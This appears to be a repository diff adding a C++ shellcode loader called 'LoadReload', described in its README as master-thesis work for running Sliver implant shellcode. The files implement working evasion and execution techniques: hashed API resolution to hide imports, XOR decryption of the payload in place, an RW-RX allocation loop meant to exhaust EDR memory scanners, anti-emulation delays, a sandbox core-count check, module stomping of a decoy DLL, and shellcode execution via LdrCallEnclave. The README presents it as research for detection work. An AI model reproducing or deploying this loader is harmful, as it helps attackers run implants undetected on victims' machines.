||||
#pragma once
|
||||
|
||||
// Namespace declaration only, implementation lives in anti_emulation.cpp
|
||||
// sleepy sleep
|
||||
void BusySleepMs(DWORD sleepMs);
|
||||
|
||||
namespace AntiEmulation_Timing {
|
||||
void Run(); // entry point for timing-based anti-emulation checks
|
||||
}
|
||||
|
||||
namespace AntiEmulation_CPU {
|
||||
void Run(); // entry point for CPU-based anti-emulation checks
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
#include "api_resolver.h"
|
||||
#include <windows.h>
|
||||
#include <winnt.h>
|
||||
#include <cstdio>
|
||||
|
||||
|
||||
unsigned long hashstr(const char* s) {
|
||||
unsigned long hash = 0xDEADBEEF;
|
||||
while (*s) {
|
||||
hash = (hash >> 3) | (hash << 29);
|
||||
hash ^= *s++;
|
||||
hash += 0x55555555;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
void* findfunc(void* module, unsigned long hash) {
|
||||
auto dos = (IMAGE_DOS_HEADER*)module;
|
||||
auto nt = (IMAGE_NT_HEADERS*)((char*)module + dos->e_lfanew);
|
||||
auto exportdir = (IMAGE_EXPORT_DIRECTORY*)((char*)module + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
unsigned long* functions = (unsigned long*)((char*)module + exportdir->AddressOfFunctions);
|
||||
unsigned long* names = (unsigned long*)((char*)module + exportdir->AddressOfNames);
|
||||
unsigned short* ordinals = (unsigned short*)((char*)module + exportdir->AddressOfNameOrdinals);
|
||||
|
||||
for (unsigned long i = 0; i < exportdir->NumberOfNames; i++) {
|
||||
const char* name = (const char*)module + names[i];
|
||||
if (hashstr(name) == hash) {
|
||||
return (void*)((char*)module + functions[ordinals[i]]);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
unsigned long hashstr(const char* s);
|
||||
void* findfunc(void* module, unsigned long hash);
|
||||
|
||||
/*-------------[TYPE DEFINITIONS]-------------*/
|
||||
|
||||
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING;
|
||||
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
|
||||
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, * PCLIENT_ID;
|
||||
|
||||
/*-------------[FUNCTION TYPES]-------------*/
|
||||
|
||||
|
||||
typedef NTSTATUS(NTAPI* fnLdrCallEnclave)(
|
||||
_In_ PENCLAVE_ROUTINE Routine,
|
||||
_In_ ULONG Flags, // ENCLAVE_CALL_FLAG_*
|
||||
_Inout_ PVOID* RoutineParamReturn
|
||||
);
|
||||
|
||||
typedef HMODULE(WINAPI* fnLoadLibraryExW)(
|
||||
_In_ LPCWSTR lpLibFileName,
|
||||
_In_ HANDLE hFile,
|
||||
_In_ DWORD dwFlags
|
||||
);
|
||||
|
||||
typedef NTSTATUS(NTAPI* fnNtProtectVirtualMemory)(
|
||||
_In_ HANDLE ProcessHandle,
|
||||
_Inout_ PVOID* BaseAddress,
|
||||
_Inout_ PSIZE_T RegionSize,
|
||||
_In_ ULONG NewProtect,
|
||||
_Out_ PULONG OldProtect
|
||||
);
|
||||
|
||||
|
||||
typedef NTSTATUS(NTAPI* fnNtCreateSection)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
|
||||
typedef NTSTATUS(NTAPI* fnNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
|
||||
typedef NTSTATUS(NTAPI* fnNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
|
||||
typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);
|
||||
|
||||
|
||||
// More definitions needed to load sacrificial DLL
|
||||
typedef enum _SECTION_INHERIT
|
||||
{
|
||||
ViewShare = 1,
|
||||
ViewUnmap = 2
|
||||
} SECTION_INHERIT;
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE) -1)
|
||||
#ifndef STATUS_SUCCESS
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#endif
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
#define DELETE_HANDLE(h) if (h && h != INVALID_HANDLE_VALUE) { CloseHandle(h); h = NULL; }
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
#include "decryptor.h"
|
||||
#include <vector>
|
||||
#include "../config.h"
|
||||
|
||||
|
||||
namespace Decryptor {
|
||||
|
||||
// XOR Routines for decrypting from a input to a function or in place to a certain length of buffer
|
||||
|
||||
std::vector<uint8_t> Decrypt(const std::vector<uint8_t>& input) {
|
||||
std::vector<uint8_t> output = input;
|
||||
std::vector<uint8_t> xorKey(XOR_KEY);
|
||||
if (!xorKey.empty()) {
|
||||
for (size_t i = 0; i < output.size(); ++i) {
|
||||
output[i] ^= xorKey[i % xorKey.size()];
|
||||
}
|
||||
}
|
||||
return output;
|
||||
}
|
||||
|
||||
bool DecryptInPlace(uint8_t* buffer, size_t size) {
|
||||
std::vector<uint8_t> xorKey(XOR_KEY);
|
||||
if (xorKey.empty()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
buffer[i] ^= xorKey[i % xorKey.size()];
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
namespace Decryptor {
|
||||
std::vector<uint8_t> Decrypt(const std::vector<uint8_t>& input);
|
||||
|
||||
bool DecryptInPlace(uint8_t* buffer, size_t size);
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
#include "edr_decon.h"
|
||||
#include "../utils/logging.h"
|
||||
#include "../modules/anti_emulation.h"
|
||||
#include "../config.h"
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
|
||||
// Defaults if not provided by config.h
|
||||
#ifndef NUMBER_OF_ALLOCS
|
||||
#define NUMBER_OF_ALLOCS 150
|
||||
#endif
|
||||
|
||||
#ifndef NUMBER_OF_ITERATIONS
|
||||
#define NUMBER_OF_ITERATIONS 5
|
||||
#endif
|
||||
|
||||
/*
|
||||
RW-RX Loop to defeat EDR memory scanning:
|
||||
1. Allocate multiple memory regions as RW
|
||||
2. Fill with data
|
||||
3. Change protections to RX
|
||||
4. Free the regions
|
||||
*/
|
||||
|
||||
/*============================[Resolve APIs]=====================================================================================================*/
|
||||
|
||||
|
||||
namespace EDRDecon {
|
||||
|
||||
void DoFakeOverwrites(SIZE_T deconbytes)
|
||||
{
|
||||
SYSTEM_INFO si;
|
||||
GetSystemInfo(&si);
|
||||
size_t pageSize = si.dwPageSize;
|
||||
|
||||
// Cap each allocation to 1 MB max
|
||||
size_t effectiveLen = (deconbytes > 1024 * 1024) ? 1024 * 1024 : deconbytes;
|
||||
size_t allocSize = ((effectiveLen + pageSize - 1) / pageSize) * pageSize;
|
||||
|
||||
Log::Write(Log::LogLevel::Msg,
|
||||
"DECONBYTES=" + std::to_string(deconbytes) +
|
||||
" -> EffectiveLen=" + std::to_string(effectiveLen) +
|
||||
", AllocSize=" + std::to_string(allocSize));
|
||||
|
||||
std::vector<PVOID> allocatedAddrs(NUMBER_OF_ALLOCS, nullptr);
|
||||
|
||||
BusySleepMs(2000);
|
||||
|
||||
for (int iter = 0; iter < NUMBER_OF_ITERATIONS; iter++) {
|
||||
Log::Write(Log::LogLevel::Msg, "EDR Decon Iteration " + std::to_string(iter + 1) + "/" + std::to_string(NUMBER_OF_ITERATIONS));
|
||||
// Step 1: Allocate multiple RW regions
|
||||
for (int i = 0; i < NUMBER_OF_ALLOCS; i++) {
|
||||
allocatedAddrs[i] = VirtualAlloc(
|
||||
nullptr,
|
||||
allocSize,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
if (!allocatedAddrs[i]) {
|
||||
Log::Write(Log::LogLevel::Warn, "failed on virtualalloc " + std::to_string(i));
|
||||
continue;
|
||||
}
|
||||
// Fill with fake data
|
||||
auto* ptr = static_cast<char*>(allocatedAddrs[i]);
|
||||
for (size_t i = 0; i < effectiveLen; ++i) {
|
||||
ptr[i] = 0x41 + (i % 26); // Fill with A-Z pattern
|
||||
}
|
||||
}
|
||||
|
||||
BusySleepMs(3000);
|
||||
|
||||
// Step 2: Change protections to RX
|
||||
for (int i = 0; i < NUMBER_OF_ALLOCS; i++) {
|
||||
DWORD oldProtect = 0;
|
||||
if (allocatedAddrs[i] && !VirtualProtect(allocatedAddrs[i], allocSize, PAGE_EXECUTE_READ, &oldProtect)) {
|
||||
Log::Write(Log::LogLevel::Warn, "VirtualProtect failed on alloc " + std::to_string(i));
|
||||
}
|
||||
}
|
||||
|
||||
BusySleepMs(3000);
|
||||
|
||||
// Step 3: Free the regions
|
||||
for (int i = 0; i < NUMBER_OF_ALLOCS; i++) {
|
||||
if (allocatedAddrs[i]) {
|
||||
if (!VirtualFree(allocatedAddrs[i], 0, MEM_RELEASE)) {
|
||||
Log::Write(Log::LogLevel::Warn, "VirtualFree failed on alloc " + std::to_string(i));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
namespace EDRDecon {
|
||||
void DoFakeOverwrites(SIZE_T regionSize);
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
#include "guardrails.h"
|
||||
#include <windows.h>
|
||||
|
||||
namespace Guardrails {
|
||||
// Check Number of CPU Cores
|
||||
bool CheckCpuCores(unsigned int minCores) {
|
||||
SYSTEM_INFO sysInfo;
|
||||
GetSystemInfo(&sysInfo);
|
||||
if (sysInfo.dwNumberOfProcessors <= minCores) {
|
||||
return true; // Insufficient cores
|
||||
}
|
||||
return false; // Sufficient cores
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
namespace Guardrails {
|
||||
|
||||
// Check Number of CPU Cores
|
||||
bool CheckCpuCores(unsigned int minCores);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,86 @@
|
||||
#include "loader_stub.h"
|
||||
#include "../utils/logging.h"
|
||||
#include "../config.h"
|
||||
#include "../modules/module_stomping.h"
|
||||
#include "../modules/anti_emulation.h"
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include <stdio.h>
|
||||
#include <fstream>
|
||||
|
||||
|
||||
|
||||
|
||||
namespace LoaderStub {
|
||||
|
||||
|
||||
/*===============================================[Get Payload locally]========================================================================*/
|
||||
|
||||
// Load payload from disk
|
||||
std::vector<uint8_t> LoadBinaryFile(const std::string& path) {
|
||||
std::ifstream
|
||||
file(path
|
||||
, std::ios::binary | std::ios::ate);
|
||||
if (!file.is_open()) {
|
||||
Log::Write(Log::LogLevel::Error, "Failed to open payload file: " + path);
|
||||
return {};
|
||||
}
|
||||
std::streamsize size = file.tellg();
|
||||
file.seekg(0, std::ios::beg);
|
||||
std::vector<uint8_t> buffer(size);
|
||||
if (!file.read((char*)buffer.data(), size)) {
|
||||
Log::Write(Log::LogLevel::Error, "Failed to read payload file: " + path);
|
||||
return {};
|
||||
}
|
||||
return buffer;
|
||||
}
|
||||
|
||||
/*=================================================[Preload DLLs]======================================================*/
|
||||
void PreloadDLLs() {
|
||||
Log::Write(Log::LogLevel::Msg, "Preloading DLLs...");
|
||||
// List of common DLLs to preload
|
||||
const char* dllsToPreload[] = {
|
||||
"kernel32.dll",
|
||||
"user32.dll",
|
||||
"advapi32.dll",
|
||||
"ntdll.dll",
|
||||
"wininet.dll",
|
||||
"winhttp.dll",
|
||||
"ws2_32.dll",
|
||||
"iphlpapi.dll",
|
||||
"secur32.dll",
|
||||
"netapi32.dll",
|
||||
"dnsapi.dll"
|
||||
|
||||
};
|
||||
for (const char* dllName : dllsToPreload) {
|
||||
HMODULE hMod = LoadLibraryA(dllName);
|
||||
if (hMod) {
|
||||
Log::Write(Log::LogLevel::Msg, std::string("Preloaded: ") + dllName);
|
||||
} else {
|
||||
Log::Write(Log::LogLevel::Warn, std::string("Failed to preload: ") + dllName);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*=======================================================[Execute]==================================================================*/
|
||||
|
||||
// Execute payload
|
||||
void Execute(std::vector<uint8_t>& payload) {
|
||||
if (payload.empty()) {
|
||||
Log::Write(Log::LogLevel::Msg, "Payload is empty, skipping execution");
|
||||
return;
|
||||
}
|
||||
|
||||
BusySleepMs(1000); // Simulate some delay
|
||||
|
||||
// Preload DLLs
|
||||
PreloadDLLs();
|
||||
|
||||
// Use module stomping to execute payload
|
||||
Module_Stomping::PatchSectionAndExecute(DECOY_DLL_PATH, payload);
|
||||
|
||||
// If the payload ever returns
|
||||
Log::Write(Log::LogLevel::Msg, "Returned from payload execution");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string>
|
||||
|
||||
|
||||
namespace LoaderStub {
|
||||
|
||||
// Load binary file from disk
|
||||
std::vector<uint8_t> LoadBinaryFile(const std::string& path);
|
||||
|
||||
// Execute payload in current process
|
||||
void Execute(std::vector<uint8_t>& payload);
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
#include "module_stomping.h"
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <cstdint>
|
||||
#include <iostream>
|
||||
#include <Psapi.h>
|
||||
#pragma comment(lib, "Psapi.lib")
|
||||
|
||||
#include "../modules/api_resolver.h"
|
||||
#include "../modules/loader_stub.h"
|
||||
#include "../modules/decryptor.h"
|
||||
#include "../modules/edr_decon.h"
|
||||
#include "../modules/anti_emulation.h"
|
||||
#include "../utils/logging.h"
|
||||
#include "../config.h"
|
||||
|
||||
/*============================[Resolve APIs]=====================================================================================================*/
|
||||
|
||||
void* ntdllmod = GetModuleHandleA("ntdll.dll");
|
||||
|
||||
fnLdrCallEnclave MyCallFunc = (fnLdrCallEnclave)findfunc(ntdllmod, hashstr("LdrCallEnclave"));
|
||||
fnNtProtectVirtualMemory MyProtectVirtualMem = (fnNtProtectVirtualMemory)findfunc(ntdllmod, hashstr("NtProtectVirtualMemory"));
|
||||
fnNtAllocateVirtualMemory MyAllocMem = (fnNtAllocateVirtualMemory)findfunc(ntdllmod, hashstr("NtAllocateVirtualMemory"));
|
||||
fnNtUnmapViewOfSection MyUnmapSec = (fnNtUnmapViewOfSection)findfunc(ntdllmod, hashstr("NtUnmapViewOfSection"));
|
||||
fnNtCreateSection MyCreateSection = (fnNtCreateSection)findfunc(ntdllmod, hashstr("NtCreateSection"));
|
||||
fnNtMapViewOfSection MyMapViewOfSection = (fnNtMapViewOfSection)findfunc(ntdllmod, hashstr("NtMapViewOfSection"));
|
||||
|
||||
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
|
||||
fnLoadLibraryExW MyLoadLibrary = (fnLoadLibraryExW)findfunc(hKernel32, hashstr("LoadLibraryExW"));
|
||||
|
||||
|
||||
/*========================================================[Overwrite DLL]=================================================================================*/
|
||||
|
||||
namespace Module_Stomping
|
||||
{
|
||||
|
||||
/*========================================================[Load DLL]=================================================================================*/
|
||||
PVOID g_pSacrificialHeaders = nullptr;
|
||||
SIZE_T g_sSacrificialHeaderSize = 0;
|
||||
|
||||
BOOL LoadDllFile(
|
||||
IN LPCWSTR szDllFilePath,
|
||||
OUT HMODULE* phModule,
|
||||
OUT PVOID* pEntryPoint,
|
||||
OUT ULONG_PTR* psImgSize // optional: to know image size
|
||||
) {
|
||||
HANDLE hFile = INVALID_HANDLE_VALUE;
|
||||
HANDLE hSection = NULL;
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
ULONG_PTR uMappedModule = NULL;
|
||||
SIZE_T sViewSize = 0;
|
||||
PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
|
||||
|
||||
if (!szDllFilePath || !phModule || !pEntryPoint)
|
||||
return FALSE;
|
||||
|
||||
// Open the DLL on disk
|
||||
hFile = CreateFileW(szDllFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE) {
|
||||
wprintf(L"[-] CreateFileW failed (%d)\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create a section for the image
|
||||
status = MyCreateSection(
|
||||
&hSection,
|
||||
SECTION_ALL_ACCESS,
|
||||
NULL,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
SEC_IMAGE,
|
||||
hFile
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
wprintf(L"[-] NtCreateSection failed (0x%08X)\n", status);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Map the image section into memory
|
||||
uMappedModule = 0;
|
||||
SECTION_INHERIT inheritDisposition = ViewShare;
|
||||
status = MyMapViewOfSection(
|
||||
hSection,
|
||||
NtCurrentProcess(),
|
||||
(PVOID*)&uMappedModule,
|
||||
0,
|
||||
0,
|
||||
NULL,
|
||||
&sViewSize,
|
||||
ViewShare,
|
||||
0,
|
||||
PAGE_READWRITE // Final perms of the sections mapped in memory
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
wprintf(L"[-] NtMapViewOfSection failed (0x%08X)\n", status);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Validate image
|
||||
auto* pDos = (PIMAGE_DOS_HEADER)uMappedModule;
|
||||
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
wprintf(L"[-] Invalid DOS header\n");
|
||||
goto _FUNC_CLEANUP;
|
||||
}
|
||||
|
||||
pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + pDos->e_lfanew);
|
||||
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
|
||||
wprintf(L"[-] Invalid NT header\n");
|
||||
goto _FUNC_CLEANUP;
|
||||
}
|
||||
|
||||
// Success - set out params
|
||||
*phModule = (HMODULE)uMappedModule;
|
||||
*pEntryPoint = (PVOID)(uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);
|
||||
if (psImgSize)
|
||||
*psImgSize = pImgNtHdrs->OptionalHeader.SizeOfImage;
|
||||
|
||||
// Save sacrificial headers for later use
|
||||
g_pSacrificialHeaders = malloc(pImgNtHdrs->OptionalHeader.SizeOfHeaders);
|
||||
g_sSacrificialHeaderSize = pImgNtHdrs->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
if (g_pSacrificialHeaders)
|
||||
memcpy(g_pSacrificialHeaders, (PVOID)uMappedModule, g_sSacrificialHeaderSize);
|
||||
|
||||
DELETE_HANDLE(hFile);
|
||||
DELETE_HANDLE(hSection);
|
||||
return TRUE;
|
||||
|
||||
_FUNC_CLEANUP:
|
||||
DELETE_HANDLE(hFile);
|
||||
DELETE_HANDLE(hSection);
|
||||
return (*phModule && *pEntryPoint) ? TRUE : FALSE;;
|
||||
}
|
||||
|
||||
/*==================================[HELPERS]==========================================================================================================*/
|
||||
|
||||
// Overwrite the mapped sacrificial DLL with shellcode
|
||||
BOOL OverwriteSacrificialDll(
|
||||
IN ULONG_PTR uMappedMemory,
|
||||
IN SIZE_T sMappedSize,
|
||||
IN ULONG_PTR uShellcode,
|
||||
IN SIZE_T sShellcodeSize
|
||||
) {
|
||||
if (!uMappedMemory || !uShellcode || !sShellcodeSize) {
|
||||
printf("[-] Invalid parameters\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (sShellcodeSize > sMappedSize) {
|
||||
printf("[-] Shellcode size is larger than mapped memory size\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
DWORD oldProtect = 0;
|
||||
NTSTATUS st = MyProtectVirtualMem(
|
||||
GetCurrentProcess(),
|
||||
(PVOID*)&uMappedMemory,
|
||||
&sMappedSize,
|
||||
PAGE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
|
||||
// Zero out existing memory except for headers
|
||||
memset((char*)uMappedMemory + g_sSacrificialHeaderSize, 0, sMappedSize - g_sSacrificialHeaderSize);
|
||||
// Copy shellcode to dll after headers
|
||||
memcpy((char*)uMappedMemory + g_sSacrificialHeaderSize, (void*)uShellcode, sShellcodeSize);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
/*=======================================================[MODULE OVERLOADING SECTION]==================================================================*/
|
||||
|
||||
// Patch section of a loaded DLL and execute shellcode
|
||||
bool PatchSectionAndExecute(LPCWSTR dllPath, const std::vector<uint8_t>& shellcode) {
|
||||
HMODULE hMappedDll = NULL;
|
||||
PVOID pEntryPoint = NULL;
|
||||
ULONG_PTR imageSize = 0;
|
||||
|
||||
// Step 1: Ghost-load the DLL
|
||||
if (!LoadDllFile(dllPath, &hMappedDll, &pEntryPoint, &imageSize)) {
|
||||
printf("[-] Failed to load DLL using section mapping\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
printf("[+] DLL mapped at: %p | Image size: 0x%llx | Entry point: %p\n", hMappedDll, imageSize, pEntryPoint);
|
||||
|
||||
#if USE_EDR_DECON
|
||||
// Step 1.5: EDR Decon
|
||||
constexpr size_t kTwentyMB = 20 * 1024 * 1024; // 20 megabytes in bytes
|
||||
EDRDecon::DoFakeOverwrites(kTwentyMB);
|
||||
#endif
|
||||
|
||||
BusySleepMs(1000); // Small delay
|
||||
|
||||
// Step 2: Overwrite sacrificial DLL
|
||||
if (!OverwriteSacrificialDll(
|
||||
reinterpret_cast<ULONG_PTR>(hMappedDll),
|
||||
imageSize,
|
||||
reinterpret_cast<ULONG_PTR>(shellcode.data()),
|
||||
shellcode.size()))
|
||||
{
|
||||
printf("[-] Failed to overwrite sacrificial DLL\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
printf("[+] DLL overwritten in place\n");
|
||||
|
||||
|
||||
// Step 3: Flip to RW
|
||||
ULONG oldProtect = 0;
|
||||
NTSTATUS st = MyProtectVirtualMem(
|
||||
GetCurrentProcess(),
|
||||
(PVOID*)&hMappedDll,
|
||||
&imageSize,
|
||||
PAGE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
|
||||
// Set pointer for decryption after the headers
|
||||
handle_t decryptionPtr = reinterpret_cast<uint8_t*>(hMappedDll) + g_sSacrificialHeaderSize;
|
||||
|
||||
// Step 4: Decrypt in-place
|
||||
#if USE_DECRYPTION
|
||||
if (!Decryptor::DecryptInPlace(reinterpret_cast<uint8_t*>(decryptionPtr), shellcode.size())) {
|
||||
printf("[-] Decryption failed\n");
|
||||
return false;
|
||||
}
|
||||
printf("[+] Shellcode decrypted in-place at %p\n", decryptionPtr);
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
// Step 5: Change permissions to RX
|
||||
SIZE_T regionSize = shellcode.size();
|
||||
handle_t hMappedDLL = hMappedDll;
|
||||
st = MyProtectVirtualMem(
|
||||
GetCurrentProcess(),
|
||||
(PVOID*)&decryptionPtr,
|
||||
®ionSize,
|
||||
PAGE_EXECUTE_READ,
|
||||
&oldProtect
|
||||
);
|
||||
|
||||
if (st != 0) {
|
||||
printf("[-] NtProtectVirtualMemory failed: 0x%X\n", st);
|
||||
return false;
|
||||
}
|
||||
|
||||
FlushInstructionCache(GetCurrentProcess(), decryptionPtr, regionSize);
|
||||
|
||||
printf("[+] Shellcode written and memory set to RX. Executing...\n");
|
||||
|
||||
// Step 6: Execute using LdrCallEnclave
|
||||
PVOID param = nullptr;
|
||||
st = MyCallFunc(
|
||||
(PENCLAVE_ROUTINE)decryptionPtr,
|
||||
0,
|
||||
¶m
|
||||
);
|
||||
|
||||
if (st != 0) {
|
||||
printf("[-] LdrCallEnclave failed with status: 0x%X\n", st);
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}; // namespace Module_Stomping
|
||||
@@ -0,0 +1,10 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
#include <iostream>
|
||||
|
||||
namespace Module_Stomping {
|
||||
bool PatchSectionAndExecute(LPCWSTR dllPath, const std::vector<uint8_t>& shellcode);
|
||||
|
||||
} // namespace Module_Stomping
|
||||
@@ -0,0 +1,19 @@
|
||||
#pragma once
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
|
||||
namespace Log {
|
||||
|
||||
enum class LogLevel { Msg, Warn, Error };
|
||||
|
||||
inline void Write(LogLevel lvl, const std::string& msg) {
|
||||
switch (lvl) {
|
||||
case LogLevel::Msg: std::cout << "[INFO] "; break;
|
||||
case LogLevel::Warn: std::cout << "[WARN] "; break;
|
||||
case LogLevel::Error: std::cout << "[ERROR] "; break;
|
||||
}
|
||||
std::cout << msg << std::endl;
|
||||
}
|
||||
|
||||
} // namespace Log
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
# LoadReload
|
||||
Shellcode Loader for Master Thesis, designed for Sliver-Shellcode (smaller than 25MB....).
|
||||
|
||||
|
||||
> [!Note]
|
||||
> **Features:**
|
||||
>
|
||||
> - Multibyte-XOR Decryption of Payload
|
||||
> - Fetches Payload locally
|
||||
> - Anti-Emulation by BusySleep-Function via KUSER_SHARED_DATA
|
||||
> - RW-RX-Loop for EDR-Deconditioning / Wasting Resources for Memory-Scanners
|
||||
> - Preloading of Network-DLLs against behaviour alerts like "Network Module from Stomped Module"
|
||||
> - Module Overloading of Decoy-DLL chosen by Operator (currently edgehtml.dll)
|
||||
> - IAT Obfuscation by API-Hashing and Dynamic API-Resolution
|
||||
> - Shellcode Execution via LdrCallenclave
|
||||
>
|
||||
> **References & Thanks**
|
||||
>
|
||||
> I couldnt have achieved anything in this thesis without the awesome work of other people and the great support of my thesis supervisor. So I wanna thank each of these persons guiding me and helping me grow.
|
||||
> - https://github.com/eversinc33
|
||||
> - https://github.com/dobin
|
||||
> - https://github.com/S3cur3Th1sSh1t
|
||||
> - and many more...
|
||||
>
|
||||
> The Features listed above where inspired by:
|
||||
> - https://maldevacademy.com
|
||||
> - https://blog.deeb.ch/posts/how-edr-works/
|
||||
> - https://github.com/dobin/SuperMega/blob/main/data/source/antiemulation/sirallocalot.c
|
||||
> - https://github.com/dobin/SuperMega/blob/main/data/source/antiemulation/timeraw.c
|
||||
> - https://gist.github.com/whokilleddb/ef1f8c33947f6ceb90664ce38d3dcf04
|
||||
> - https://github.com/tlsbollei/KittyLoader
|
||||
|
||||
|
||||
> [!CAUTION]
|
||||
> **Disclaimer & Legal Notice**
|
||||
> This repository, **LoadReload**, and all associated code, techniques, and information are provided strictly for **educational and academic research purposes**.
|
||||
>
|
||||
> This sample and its methodologies are actively used to research attack patterns, develop detection capabilities, and enhance security products.
|
||||
>
|
||||
> You are required to use this knowledge and these tools **only on systems you own or have explicit, written permission to test**.
|
||||
> Any unauthorized use against systems you do not own is **illegal and strictly prohibited**.
|
||||
>
|
||||
> This tool was created to advance the field of defensive cybersecurity. The author, *0xRoam*, assumes **no liability** and is not responsible for any misuse or damage caused by this software.
|
||||
>
|
||||
> By accessing this repository, you acknowledge that you understand its purpose is to learn about **modern malware techniques, evasion tactics**, and ultimately to **improve our collective ability to defend against them**.
|
||||
Reference in New Issue
Block a user